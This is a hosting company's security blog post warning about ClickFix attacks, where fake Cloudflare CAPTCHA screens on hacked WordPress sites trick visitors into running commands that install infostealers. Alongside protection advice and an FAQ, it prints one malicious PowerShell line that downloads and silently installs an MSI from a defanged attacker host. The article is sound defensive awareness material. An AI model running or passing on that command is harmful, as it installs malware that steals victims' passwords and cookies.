• Blog
  • Security
  • Beware of the Fake CAPTCHA Posing as Cloudflare: A New Phishing Attack That Makes You Install Malware

Jan Dvořák

Published 19. May 2026

Updated 22. October 2026

Beware of the Fake CAPTCHA Posing as Cloudflare: A New Phishing Attack That Makes You Install Malware

Security

7 min

Jan Dvořák

Published 19. May 2026

Updated 22. October 2026

Red keyboard key labeled “SCAM”

At first glance it looks trustworthy: you open a website and the familiar “I’m not a robot” or “Checking your browser before accessing…” check appears. Visually, it resembles the well-known Cloudflare bot protection that thousands of websites use today.

But instead of the usual click, the page asks you to open Mac Terminal, Command Prompt or Windows Run, paste a copied command and run it. And at that very moment, you install malware on your computer yourself.

This type of attack is called ClickFix. Attackers abuse people’s trust in CAPTCHA and Cloudflare screens and persuade the visitor to run a malicious PowerShell or shell command directly on their own system.

What the attack looks like

The scenario is simple. A user visits a legitimate website that hackers have compromised. The page shows a fake Cloudflare check and then guides the visitor to use Win + R or Terminal to run a command that downloads malware from the internet.

Fake Cloudflare CAPTCHA form used for phishing

The malware is usually what’s known as an infostealer, built to steal passwords, cookies, saved logins, crypto wallets or company accounts.

As techradar.com also stresses, the attack is dangerous mainly because the user runs the malware themselves. So this isn’t an ordinary file download that a browser or antivirus would simply stop.

Key rule: no legitimate verification check will ever ask you to open Terminal

No legitimate Cloudflare check will ever ask you to open Terminal, PowerShell or Windows Run.

If a website wants you to paste a command into Terminal, run PowerShell or use Win + R, it’s almost certainly malware or phishing.

This is the malicious code hackers make you paste into Terminal:

$u=“hxxps://securrity[.]click/cloud-utils.msi“;$m=“$env:TEMP\cloud-utils.msi“;Invoke-WebRequest -Uri $u -OutFile $m;Unblock-File $m;Start-Process „$env:SystemRoot\System32\msiexec.exe“ -ArgumentList „/i `“$m`“ /qn /norestart“ -Verb RunAs -Wait

How phishing gets onto a WordPress website

This is where the second part of the problem begins. Most people think the hacker has “hacked Cloudflare.” In reality, though, it’s the WordPress website itself that has been compromised.

Most often, the way in is through outdated plugins or themes. A single known vulnerability is enough to let an attacker upload files, edit databases or run their own PHP code.

Nulled plugins, abandoned plugins with no support and old page builders that nobody has updated in years tend to be especially risky.

What’s more, the attacks are largely automated. Hackers don’t attack one particular website by hand. Scanning bots constantly crawl the internet looking for WordPress installations with known flaws. As soon as they find such a website, they try to break into it automatically. (techradar.com)

Another common problem is weak passwords or leaked credentials. If an administrator uses the same password for several services or has an infected computer, an attacker can get into WordPress, FTP or the hosting account without having to look for a technical vulnerability.

What a hacker does after breaking into WordPress

Once they have access, attackers usually try to make sure they can get back into the website later. That’s why they often upload their own plugin, edit functions.php or insert malicious JavaScript directly into the database.

Modern malware tends to be very stealthy. Sometimes the phishing page only appears to Windows users, to visitors from certain countries or only on the first visit to the website. So the administrator may not notice anything for a long time. The website may keep working normally, and the problem only affects some of its visitors.

This article on reddit.com explains the whole problem well. Netlas.io also describes in detail how ClickFix attacks work.

In most cases, attackers insert malicious JavaScript into the website, and this script decides who sees the fake Cloudflare screen. Some campaigns use external servers or blockchain infrastructure so they are harder to block and detect.

How to tell if a WordPress website has been compromised

A hacked WordPress website often doesn’t seem suspicious at first glance. Even so, there are signs that should warn you:

  • the website redirects only sometimes, or only some visitors
  • Google flags the website as dangerous
  • antivirus programs report malware
  • an unknown administrator appears in WordPress
  • there are suspicious scripts in the source code
  • visitors report fake CAPTCHA screens

Showing the fake screen selectively is exactly why infections like these often stay active for weeks or months.

How to protect yourself against it

Regular updates to WordPress, plugins and themes are the foundation. Most compromises happen through known vulnerabilities that were patched long ago.

Nulled plugins and themes downloaded from unofficial sources are also a big risk. They often contain a backdoor even before you install them.

It’s important to use strong passwords and two-factor authentication for WordPress administration, and for FTP, hosting and email accounts too. That’s because attackers often get in through leaked login details.

It also helps to keep the number of plugins to a minimum. Every extra plugin is another potential vulnerability that needs to be updated and checked.

Quality hosting and infrastructure-level security also play a big role. A modern WAF and monitoring can stop some attacks before they ever reach WordPress. On top of that, with managed WordPress hosting, the provider often takes care of updates, monitoring or security rules for you.

What to do if you already ran the command

If you have already pasted a similar command into Terminal or PowerShell, act immediately:

  1. Disconnect the device from the internet
  2. Change your passwords from another device
  3. Log out of all services
  4. Run an antivirus scan
  5. Ideally, do a clean reinstall of the operating system

On Reddit, you’ll find many users sharing their experiences with this malware. Infostealers often steal cookies and saved logins almost immediately after they run.

Why these attacks are so successful

Because they don’t exploit a technical flaw in the user’s computer. They exploit trust.

People today are used to clicking CAPTCHAs, trusting Cloudflare screens and automatically following on-screen instructions. And that’s exactly why ClickFix and similar phishing campaigns have been spreading very quickly in recent months.

Further reading:

  • The most common hacker attacks (not just on WordPress)
  • How to protect a website from hackers
  • What role web hosting plays in website security

Frequently Asked Questions (FAQ)

What is a fake CAPTCHA?

A fake CAPTCHA is a phishing screen that imitates a CAPTCHA or Cloudflare check and asks you to run a copied command on your own computer. That command installs malware, usually an infostealer that steals passwords, cookies and saved logins.

How do you spot a fake CAPTCHA?

You can spot a fake CAPTCHA because it asks you to open Terminal, PowerShell or Windows Run, which no legitimate Cloudflare check ever does. If a CAPTCHA or other verification check wants you to paste a command into Terminal, run PowerShell or use Win + R, it’s almost certainly malware or phishing.

What does a fake CAPTCHA look like?

A fake CAPTCHA looks like the familiar “I’m not a robot” or “Checking your browser before accessing…” check and resembles Cloudflare’s well-known bot protection. Instead of the usual click, it asks you to open Mac Terminal, Command Prompt or Windows Run, paste a copied command and run it.

What is ClickFix?

ClickFix is the name for attacks that persuade people to run a malicious PowerShell or shell command on their own system, often through a fake CAPTCHA or Cloudflare screen that abuses their trust. Because people run the malware themselves, a ClickFix attack isn’t an ordinary file download that a browser or antivirus would simply stop.

How can you avoid a fake CAPTCHA scam?

To avoid a fake CAPTCHA scam, never paste a command into Terminal, PowerShell or Windows Run just because a CAPTCHA or other verification check asks you to. If you run a WordPress website, keep WordPress, plugins and themes updated and use strong passwords with two-factor authentication, because attackers often get in through outdated plugins or leaked login details.

What should you do if you ran a command from a fake CAPTCHA?

If you ran a command from a fake CAPTCHA, immediately disconnect the device from the internet and change your passwords from another device. Then log out of all services, run an antivirus scan and, ideally, do a clean reinstall of the operating system.

Jan Dvořák

At Webglobe, I look after the blog, the websites, SEO and GEO, and I also come up with creative campaigns. Working at a hosting company, I see first-hand where people most often run into trouble with their websites, and that's exactly what I write about. Over the years, this has turned into more than 500 articles, case studies and e-books. If you're dealing with online marketing, visibility in Google and AI search, or a WordPress website, you'll find practical answers in them.

See more of my articles

Sign up for our newsletter You have subscribed to our newsletter

Receive interesting offers, news, guides and articles directly from us. Your e-mail has been added successfully.
The field is required with the correct e-mail format